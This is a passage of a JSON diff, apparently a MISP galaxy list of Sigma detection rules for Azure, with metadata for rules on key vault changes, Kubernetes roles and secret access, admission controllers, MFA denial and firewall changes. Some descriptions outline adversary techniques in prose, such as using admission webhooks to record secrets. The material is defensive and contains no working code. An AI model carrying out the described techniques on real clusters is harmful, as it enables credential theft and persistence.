"Container Registry created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_container_registry_created_or_deleted.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_container_registry_created_or_deleted.yml", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "93e0ef48-37c8-49ed-a02c-038aab23628e", - "value": "Azure Container Registry Created or Deleted" - }, - { - "description": "Number of VM creations or deployment activities occur in Azure via the azureactivity log.", - "meta": { - "author": "sawwinnnaung", - "creation_date": "2020/05/07", - "falsepositive": [ - "Valid change" - ], - "filename": "azure_creating_number_of_resources_detection.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_creating_number_of_resources_detection.yml", - "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Creating_Anomalous_Number_Of_Resources_detection.yaml" - ], - "tags": [ - "attack.t1098" - ] - }, - "uuid": "d2d901db-7a75-45a1-bc39-0cbf00812192", - "value": "Number Of Resource Creation Or Deployment Activities" - }, - { - "description": "Identifies when a device in azure is no longer managed or compliant", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/03", - "falsepositive": [ - "Administrator may have forgotten to review the device." - ], - "filename": "azure_device_no_longer_managed_or_compliant.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_no_longer_managed_or_compliant.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "542b9912-c01f-4e3f-89a8-014c48cdca7d", - "value": "Azure Device No Longer Managed or Compliant" - }, - { - "description": "Identifies when a device or device configuration in azure is modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/03", - "falsepositive": [ - "Device or device configuration being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Device or device configuration modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_device_or_configuration_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-audit-activities#core-directory", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_device_or_configuration_modified_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "46530378-f9db-4af9-a9e5-889c177d3881", - "value": "Azure Device or Configuration Modified or Deleted" - }, - { - "description": "Identifies when DNS zone is modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", - "falsepositive": [ - "DNS zone modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "DNS zone modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_dns_zone_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_dns_zone_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "af6925b0-8826-47f1-9324-337507a0babd", - "value": "Azure DNS Zone Modified or Deleted" - }, - { - "description": "Identifies when an user or application modified the federation settings on the domain.", - "meta": { - "author": "Austin Songer", - "creation_date": "2021/09/06", - "falsepositive": [ - "Federation Settings being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Federation Settings modified from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_federation_modified.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_federation_modified.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-monitor-federation-changes", - "https://attack.mitre.org/techniques/T1078" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ] - }, - "uuid": "352a54e1-74ba-4929-9d47-8193d67aba1e", - "value": "Azure Domain Federation Settings Modified" - }, - { - "description": "Identifies when a firewall is created, modified, or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", - "falsepositive": [ - "Firewall being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Firewall modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_firewall_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "512cf937-ea9b-4332-939c-4c2c94baadcd", - "value": "Azure Firewall Modified or Deleted" - }, - { - "description": "Identifies when Rule Collections (Application, NAT, and Network) is being modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/08", - "falsepositive": [ - "Rule Collections (Application, NAT, and Network) being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Rule Collections (Application, NAT, and Network) modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_firewall_rule_collection_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_firewall_rule_collection_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "025c9fe7-db72-49f9-af0d-31341dd7dd57", - "value": "Azure Firewall Rule Collection Modified or Deleted" - }, - { - "description": "Identifies IPs from which users grant access to other users on azure resources and alerts when a previously unseen source IP address is used.", - "meta": { - "author": "sawwinnnaung", - "creation_date": "2020/05/07", - "falsepositive": [ - "Valid change" - ], - "filename": "azure_granting_permission_detection.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/e534407884b1ec5371efc9f76ead282176c9e8bb/Detections/AzureActivity/Granting_Permissions_To_Account_detection.yaml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_granting_permission_detection.yml" - ], - "tags": [ - "attack.t1098" - ] - }, - "uuid": "a622fcd2-4b5a-436a-b8a2-a4171161833c", - "value": "Granting Of Permissions To An Account" - }, - { - "description": "Monitor and alert on group membership additions of groups that have CA policy modification access", - "meta": { - "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", - "creation_date": "2022/08/04", - "falsepositive": [ - "User removed from the group is approved" - ], - "filename": "azure_group_user_addition_ca_modification.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_addition_ca_modification.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "91c95675-1f27-46d0-bead-d1ae96b97cd3", - "value": "User Added To Group With CA Policy Modification Access" - }, - { - "description": "Monitor and alert on group membership removal of groups that have CA policy modification access", - "meta": { - "author": "Mark Morowczynski '@markmorow', Thomas Detzner '@tdetzner'", - "creation_date": "2022/08/04", - "falsepositive": [ - "User removed from the group is approved" - ], - "filename": "azure_group_user_removal_ca_modification.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_group_user_removal_ca_modification.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-infrastructure#conditional-access" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ] - }, - "uuid": "665e2d43-70dc-4ccc-9d27-026c9dd7ed9c", - "value": "User Removed From Group With CA Policy Modification Access" - }, - { - "description": "Detects when a user that doesn't have permissions to invite a guest user attempts to invite one.", - "meta": { - "author": "Mark Morowczynski '@markmorow', Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/08/10", - "falsepositive": [ - "A non malicious user is unaware of the proper process" - ], - "filename": "azure_guest_invite_failure.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts#things-to-monitor", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_invite_failure.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1078" - ] - }, - "uuid": "0b4b72e3-4c53-4d5b-b198-2c58cfef39a9", - "value": "Guest User Invited By Non Approved Inviters" - }, - { - "description": "Detects the change of user type from \"Guest\" to \"Member\" for potential elevation of privilege.", - "meta": { - "author": "MikeDuddington, '@dudders1'", - "creation_date": "2022/06/30", - "falsepositive": [ - "If this was approved by System Administrator." - ], - "filename": "azure_guest_to_member.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-user-accounts#monitoring-external-user-sign-ins", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_guest_to_member.yml" - ], - "tags": [ - "attack.t1078" - ] - }, - "uuid": "8dee7a0d-43fd-4b3c-8cd1-605e189d195e", - "value": "User State Changed From Guest To Member" - }, - { - "description": "Identifies when a Keyvault Key is modified or deleted in Azure.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/16", - "falsepositive": [ - "Key being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Key modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_keyvault_key_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_key_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact", - "attack.credential_access", - "attack.t1552", - "attack.t1552.001" - ] - }, - "uuid": "80eeab92-0979-4152-942d-96749e11df40", - "value": "Azure Keyvault Key Modified or Deleted" - }, - { - "description": "Identifies when a key vault is modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/16", - "falsepositive": [ - "Key Vault being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Key Vault modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_keyvault_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact", - "attack.credential_access", - "attack.t1552", - "attack.t1552.001" - ] - }, - "uuid": "459a2970-bb84-4e6a-a32e-ff0fbd99448d", - "value": "Azure Key Vault Modified or Deleted" - }, - { - "description": "Identifies when secrets are modified or deleted in Azure.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/16", - "falsepositive": [ - "Secrets being modified or deleted may be performed by a system administrator.", - "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Secrets modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_keyvault_secrets_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_keyvault_secrets_modified_or_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations" - ], - "tags": [ - "attack.impact", - "attack.credential_access", - "attack.t1552", - "attack.t1552.001" - ] - }, - "uuid": "b831353c-1971-477b-abb6-2828edc3bca1", - "value": "Azure Keyvault Secrets Modified or Deleted" - }, - { - "description": "Identifies when an admission controller is executed in Azure Kubernetes.\nA Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server.\nThe behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster.\nAn adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster.\nFor example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod.\nAn adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials.\nAn adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.\n", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/25", - "falsepositive": [ - "Azure Kubernetes Admissions Controller may be done by a system administrator.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_kubernetes_admission_controller.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_admission_controller.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" - ], - "tags": [ - "attack.persistence", - "attack.t1078", - "attack.credential_access", - "attack.t1552", - "attack.t1552.007" - ] - }, - "uuid": "a61a3c56-4ce2-4351-a079-88ae4cbd2b58", - "value": "Azure Kubernetes Admission Controller" - }, - { - "description": "Detects when a Azure Kubernetes Cluster is created or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", - "falsepositive": [ - "Kubernetes cluster being created or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Kubernetes cluster created or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_kubernetes_cluster_created_or_deleted.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cluster_created_or_deleted.yml" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "9541f321-7cba-4b43-80fc-fbd1fb922808", - "value": "Azure Kubernetes Cluster Created or Deleted" - }, - { - "description": "Identifies when a Azure Kubernetes CronJob runs in Azure Cloud. Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate.\nKubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs.\nAn Adversary may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.\n", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/22", - "falsepositive": [ - "Azure Kubernetes CronJob/Job may be done by a system administrator.", - "If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_kubernetes_cronjob.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://kubernetes.io/docs/concepts/workloads/controllers/job/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_cronjob.yml", - "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.execution" - ] - }, - "uuid": "1c71e254-6655-42c1-b2d6-5e4718d7fc0a", - "value": "Azure Kubernetes CronJob" - }, - { - "description": "Detects when Events are deleted in Azure Kubernetes. An adversary may delete events in Azure Kubernetes in an attempt to evade detection.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", - "falsepositive": [ - "Event deletions may be done by a system or network administrator. Verify whether the username, hostname, and/or resource name should be making changes in your environment. Events deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_kubernetes_events_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_events_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes", - "https://github.com/elastic/detection-rules/blob/da3852b681cf1a33898b1535892eab1f3a76177a/rules/integrations/azure/defense_evasion_kubernetes_events_deleted.toml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562", - "attack.t1562.001" - ] - }, - "uuid": "225d8b09-e714-479c-a0e4-55e6f29adf35", - "value": "Azure Kubernetes Events Deleted" - }, - { - "description": "Identifies when a Azure Kubernetes network policy is modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", - "falsepositive": [ - "Network Policy being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Network Policy being modified and deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_kubernetes_network_policy_change.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_network_policy_change.yml", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" - ], - "tags": [ - "attack.impact", - "attack.credential_access" - ] - }, - "uuid": "08d6ac24-c927-4469-b3b7-2e422d6e3c43", - "value": "Azure Kubernetes Network Policy Change" - }, - { - "description": "Identifies the deletion of Azure Kubernetes Pods.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/07/24", - "falsepositive": [ - "Pods may be deleted by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Pods deletions from unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_kubernetes_pods_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/elastic/detection-rules/blob/065bf48a9987cd8bd826c098a30ce36e6868ee46/rules/integrations/azure/impact_kubernetes_pod_deleted.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_pods_deleted.yml", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "b02f9591-12c3-4965-986a-88028629b2e1", - "value": "Azure Kubernetes Pods Deleted" - }, - { - "description": "Detects the creation or patching of potential malicious RoleBinding/ClusterRoleBinding.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", - "falsepositive": [ - "RoleBinding/ClusterRoleBinding being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "RoleBinding/ClusterRoleBinding modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_kubernetes_rolebinding_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_rolebinding_modified_or_deleted.yml", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" - ], - "tags": [ - "attack.impact", - "attack.credential_access" - ] - }, - "uuid": "25cb259b-bbdc-4b87-98b7-90d7c72f8743", - "value": "Azure Kubernetes RoleBinding/ClusterRoleBinding Modified and Deleted" - }, - { - "description": "Identifies when ClusterRoles/Roles are being modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", - "falsepositive": [ - "ClusterRoles/Roles being modified and deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "ClusterRoles/Roles modification from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_kubernetes_role_access.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_role_access.yml", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "818fee0c-e0ec-4e45-824e-83e4817b0887", - "value": "Azure Kubernetes Sensitive Role Access" - }, - { - "description": "Identifies when a Kubernetes account access a sensitive objects such as configmaps or secrets.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", - "falsepositive": [ - "Sensitive objects may be accessed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Sensitive objects accessed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_kubernetes_secret_or_config_object_access.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_secret_or_config_object_access.yml", - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "7ee0b4aa-d8d4-4088-b661-20efdf41a04c", - "value": "Azure Kubernetes Secret or Config Object Access" - }, - { - "description": "Identifies when a service account is modified or deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/08/07", - "falsepositive": [ - "Service account being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Service account modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_kubernetes_service_account_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/", - "https://medium.com/mitre-engenuity/att-ck-for-containers-now-available-4c2359654bf1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_kubernetes_service_account_modified_or_deleted.yml", - "https://attack.mitre.org/matrices/enterprise/cloud/", - "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/", - "https://docs.microsoft.com/en-us/azure/role-based-access-control/resource-provider-operations#microsoftkubernetes" - ], - "tags": [ - "attack.impact" - ] - }, - "uuid": "12d027c3-b48c-4d9d-8bb6-a732200034b2", - "value": "Azure Kubernetes Service Account Modified or Deleted" - }, - { - "description": "Alert on when legecy authentication has been used on an account", - "meta": { - "author": "Yochana Henderson, '@Yochana-H'", - "creation_date": "2022/06/17", - "falsepositive": [ - "User has been put in acception group so they can use legacy authentication" - ], - "filename": "azure_legacy_authentication_protocols.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://docs.microsoft.com/en-gb/azure/active-directory/fundamentals/security-operations-privileged-accounts", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_legacy_authentication_protocols.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1212" - ] - }, - "uuid": "60f6535a-760f-42a9-be3f-c9a0a025906e", - "value": "Use of Legacy Authentication Protocols" - }, - { - "description": "Detect failed attempts to sign in to disabled accounts.", - "meta": { - "author": "AlertIQ", - "creation_date": "2021/10/10", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_login_to_disabled_account.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_login_to_disabled_account.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts" - ], - "tags": [ - "attack.initial_access", - "attack.t1078" - ] - }, - "uuid": "908655e0-25cf-4ae1-b775-1c8ce9cf43d8", - "value": "Login to Disabled Account" - }, - { - "description": "User has indicated they haven't instigated the MFA prompt and could indicate an attacker has the password for the account.", - "meta": { - "author": "AlertIQ", - "creation_date": "2022/03/24", - "falsepositive": [ - "Users actually login but miss-click into the Deny button when MFA prompt." - ], - "filename": "azure_mfa_denies.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_denies.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1078.004" - ] - }, - "uuid": "e40f4962-b02b-4192-9bfe-245f7ece1f99", - "value": "Multifactor Authentication Denied" - }, - { - "description": "Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.", - "meta": { - "author": "@ionsor", - "creation_date": "2022/02/08", - "falsepositive": [ - "Authorized modification by administrators" - ], - "filename": "azure_mfa_disabled.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://attack.mitre.org/techniques/T1556/", - "https://docs.microsoft.com/en-us/azure/active-directory/authentication/howto-mfa-userstates", - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_disabled.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1556" - ] - }, - "uuid": "7ea78478-a4f9-42a6-9dcd-f861816122bf", - "value": "Disabled MFA to Bypass Authentication Mechanisms" - }, - { - "description": "Identifies user login with multifactor authentication failures, which might be an indication an attacker has the password for the account but can't pass the MFA challenge.", - "meta": { - "author": "AlertIQ", - "creation_date": "2021/10/10", - "falsepositive": [ - "Unknown" - ], - "filename": "azure_mfa_interrupted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_mfa_interrupted.yml", - "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/security-operations-privileged-accounts" - ], - "tags": [ - "attack.initial_access", - "attack.t1078.004" - ] - }, - "uuid": "5496ff55-42ec-4369-81cb-00f417029e25", - "value": "Multifactor Authentication Interrupted" - }, - { - "description": "Identifies when a Firewall Policy is Modified or Deleted.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/09/02", - "falsepositive": [ - "Firewall Policy being modified or deleted may be performed by a system administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.", - "Firewall Policy modified or deleted from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "filename": "azure_network_firewall_policy_modified_or_deleted.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "azure", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/cloud/azure/azure_network_firewall_policy_modified_or_deleted.yml", - 